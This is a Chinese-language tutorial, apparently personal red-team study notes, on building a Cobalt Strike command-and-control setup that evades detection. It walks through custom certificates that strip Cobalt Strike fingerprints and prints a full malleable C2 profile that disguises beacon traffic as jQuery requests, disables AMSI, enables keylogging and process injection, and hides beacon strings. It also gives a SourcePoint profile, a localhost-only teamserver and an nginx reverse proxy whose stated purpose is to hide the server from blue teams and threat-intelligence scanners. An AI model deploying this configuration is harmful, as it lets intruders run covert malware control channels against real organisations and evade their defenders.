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自学RedTeam之安全的C2设施
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自学RedTeam之安全的C2设施
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前言
最近在学习研究RedTeam方面的相关知识，第一步是做一个安全的C2设施，基本原理就是通过制作自制的store证书消除特征、修改teamserver为本机连接防止被蓝队发现C2服务器、反向代理设置特定规则防止溯源、最后再用ssh隧道或设置白名单去链接我们的C2服务器，大概流程如下图
一、自定义CS证书
在定制CS证书前，我们先看下CS的默认证书(cobalstrike.store)，发现特征含有cobaltstrike字样
keytool -list -v -keystore cobaltstrike.store -storepass 105346
1、制定openssl证书
首先通过 openssl 来生成密钥对，再生成一个证书签名请求 CSR
注：Common Name 字段需要是公共 IP 或者域名
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key
openssl req -new -key private.key -out raven.csr
2、制定专属store证书
前面我们通过openssl生成了证书，接下来可以通过C2来导入这些生成的证书和密钥
把证书和密钥合成为单个的 pkcs12 文件，然后通过 Keytool 导入到 Java 的密钥存储，这样我们就生成了专属的ts.store证书
openssl pkcs12 -inkey private.key -in public.crt -export -out ts.pkcs12
keytool -importkeystore -srckeystore ts.pkcs12 -srcstoretype pkcs12 -destkeystore ts.store
再看下我们自己刚刚生成的证书ts.store，已经修改了基本特征
keytool -list -v -keystore ts.store -storepass 105346
二、C2侧写
我们可以使用侧写文件将CS默认证书替换成我们刚刚生成的ts.store证书，当然C2侧写不仅支持自定义证书，
它还支持Beacon特征、分阶段特征、内存特征、后利用特征等，可以起到流量混淆效果
1、JQuery-C2 侧写
JQuery-C2 侧写( https://github.com/threatexpress/malleable-c2)和Malleable C2侧写（https://github.com/rsmudge/Malleable-C2-Profiles）
是两款不错的侧写，JQuery-C2侧写具有更多默认配置且相对注重OPSEC，所以我选择使用JQuery-C2侧写
注：如果在过程中更换C2侧写，会丢失目前所有Beacon，因为通信模式不一样了
下面是一份可以在cs4.3版本上使用的侧写文件(已删除注释)，大家可以在github上找对应cs版本的JQuery-C2侧写上加以自定义
原版链接为https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.3.profile
set sample_name "jQuery CS 4.3 Profile";
set sleeptime "45000"; # 45 Seconds
set jitter "37"; # % jitter
set useragent "Innocent";
https-certificate {
set keystore "ts.store";
set password "105346";
}
set tcp_port "42585";
set tcp_frame_header "\x80";
set pipename "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe
set pipename_stager "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe
set smb_frame_header "\x80";
dns-beacon {
set dns_idle "74.125.196.113"; #google.com (change this to match your campaign)
set dns_max_txt "252";
set dns_sleep "0"; # Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_ttl "5";
set maxdns "255";
set dns_stager_prepend ".resources.123456.";
set dns_stager_subhost ".feeds.123456.";
set beacon "a.bc.";
set get_A "b.1a.";
set get_AAAA "c.4a.";
set get_TXT "d.tx.";
set put_metadata "e.md.";
set put_output "f.po.";
set ns_response "zero";
}
set ssh_banner "OpenSSH_7.4 Debian (protocol 2.0)";
set ssh_pipename "wkssvc##";
#set host_stage "false"; # Do not use staging. Must use stageles payloads, now the default for Cobalt Strike built-in processes
set host_stage "false"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set
http-stager {
set uri_x86 "/jquery-3.3.1.slim.min.js";
set uri_x64 "/jquery-3.3.2.slim.min.js";
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
# 1st Line
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Accept-Language" "en-US,en;q=0.5";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
}
}
post-ex {
set spawnto_x64 "%windir%\\sysnative\\notepad.exe";
set spawnto_x86 "%windir%\\syswow64\\notepad.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
set pipename "Winsock2\\CatalogChangeListener-###-0,";
set keylogger "GetAsyncKeyState";
#set threadhint "module!function+0x##"
set pipename "sjkghs1v, legitPipe_##";
}
stage {
set allocator "VirtualAlloc"; # Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc
#set magic_mz_x86 "MZRE";
#set magic_mz_x64 "MZAR";
set magic_pe "NO";
set userwx "false";
set stomppe "true";
set obfuscate "true";
set cleanup "true";
set sleep_mask "true";
transform-x64 {
strrep "beacon.x64.dll" "not-beacon.dll";
strrep "ReflectiveLoader" "LoadData";
}
set smartinject "true";
set checksum "0";
set compile_time "11 Nov 2016 04:08:32";
set entry_point "650688";
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set name "srv.dll";
set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
# set module_x64 "netshell.dll";
# set module_x86 "netshell.dll";
transform-x86 { # transform the x86 rDLL stage
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
strrep "ReflectiveLoader" "execute"; # Change this text
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "beacon.dll" ""; # Remove this text
}
transform-x64 { # transform the x64 rDLL stage
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
}
stringw "jQuery"; # Add this string to the DLL
}
process-inject {
set allocator "NtMapViewOfSection";
set min_alloc "17500";
set startrwx "false";
set userwx "false";
transform-x86 {
prepend "\x90\x90";
#append "\x90\x90";
}
transform-x64 {
prepend "\x90\x90";
#append "\x90\x90";
}
execute {
CreateThread "ntdll!RtlUserThreadStart+0x42";
CreateThread;
NtQueueApcThread-s;
CreateRemoteThread;
RtlCreateUserThread;
}
}
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}
http-get {
set uri "/jquery-3.3.1.min.js";
set verb "GET";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
metadata {
base64url;
prepend "__cfduid=";
header "Cookie";
}
}
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
mask;
base64url;
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
# 1st Line
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
}
http-post {
set uri "/jquery-3.3.2.min.js";
set verb "POST";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
id {
mask;
base64url;
parameter "__cfduid";
}
output {
mask;
base64url;
print;
}
}
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
mask;
base64url;
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
# 1st Line
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
}
2、SourcePoint定制化侧写
我们也可以用工具SourcePoint (https://github.com/Tylous/SourcePoint) 生成定制化的 C2 侧写
下面是profile.yaml文件
Stage: "False"
Host: "192.168.60.144"
Keystore: "ts.store"
Password: "105346"
Metadata: "netbios"
Injector: "VirtualAllocEx"
Outfile: "test.profile"
PE_Clone: 20
Profile: 4
Allocation: 5312
Jitter: 30
Debug: true
Sleep: 35
Uri: 3
Useragent: "Innocent"
Post-EX Processname: 11
Datajitter: 40
Keylogger: "SetWindowsHookEx"
Customuri:
CDN:
CDN_Value:
ProfilePath:
Forwarder: True
填好相关配置后，我们用 sourcepoint 根据 yaml 文件生成自定义的 C2 侧写，侧写名字为test.profile
./SourcePoint -Yaml profile.yaml
生成了test.profile
编辑生成的test.profile侧写文件，注释掉以下几行：
#Task and Proxy Max Size
#set tasks_max_size "1048576";
#set tasks_proxy_max_size "921600";
#set tasks_dns_proxy_max_size "71680";
.......
#header "Host" "185.239.225.98";
3、C2lint 测试
我们可以使用CS自带 C2lint 来测试，看jquery.profile侧写和生成的test.profile侧写的语法是否正确
jquery.profile侧写语法通过
test.profile侧写语法通过
4、修改teamserver 的默认配置
经过前面的步骤我们已经有了一个专属store证书，也有了个性化的C2侧写文件，
接下来我们要修改teamserver文件，这边我修改了端口为49228，只能本地访问(127.0.0.1)，也使用刚刚做好的ts.store证书
我们配合一开始的jquery.profile侧写文件，启动cs服务端
./teamserver x.x.x.x 105346 jquery.profile
三、反向代理
前面我们自定义了C2 侧写，但蓝队还是可以轻松地捕捉到我们，也有很多威胁情报平台都在持续搜集 C2 服务器，为了避免我们的C2 服务器被发现，需采取一些反制手段，反向代理是种不错的选择。
搜集了 Cobalt Strike 服务器的情报平台：
https://otx.alienvault.com/pulse/62ffa9d924daca336eeaedea
从威胁情报猎人角度寻找 Cobalt Strike 基础设施的文章：
https://bank-security.medium.com/hunting-cobalt-strike-servers-385c5bedda7b
首先我们可以先把 CS服务器端口和监听器端口置于防火墙之后，这样情报平台就收集不到我们的 C2 服务器。然后通过反向代理，将CS监听器的 443 端口的流量反向转发到转发器 (Nginx，Apache2，Socat 等) 的运行端口 8443，最后再根据 URL、User Agent、Cookie等属性配置过滤规则。不符合条件的请求 ，将被重定向到不相干页面 (例如google.com、403页面、404页面)等。
为了后续操作方便，我把生成的证书和密钥先分别放在/etc/ssl/certs/和/etc/ssl/private/目录下
cp public.crt /etc/ssl/certs/
cp private.key /etc/ssl/private/
Nginx反代
1、转发器上安装 nginx
#安装nginx
sudo apt install nginx
2、修改Nginx配置文件
vim /etc/nginx/nginx.conf
添加以下代码
server {
listen 8080;
ssl on;
ssl_certificate /etc/ssl/certs/public.crt;
ssl_certificate_key /etc/ssl/private/private.key;
server_name 192.168.60.144;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location ~*/ {
if ($http_user_agent != "abc") {
return 403;
}
proxy_pass https://localhost;
}
}
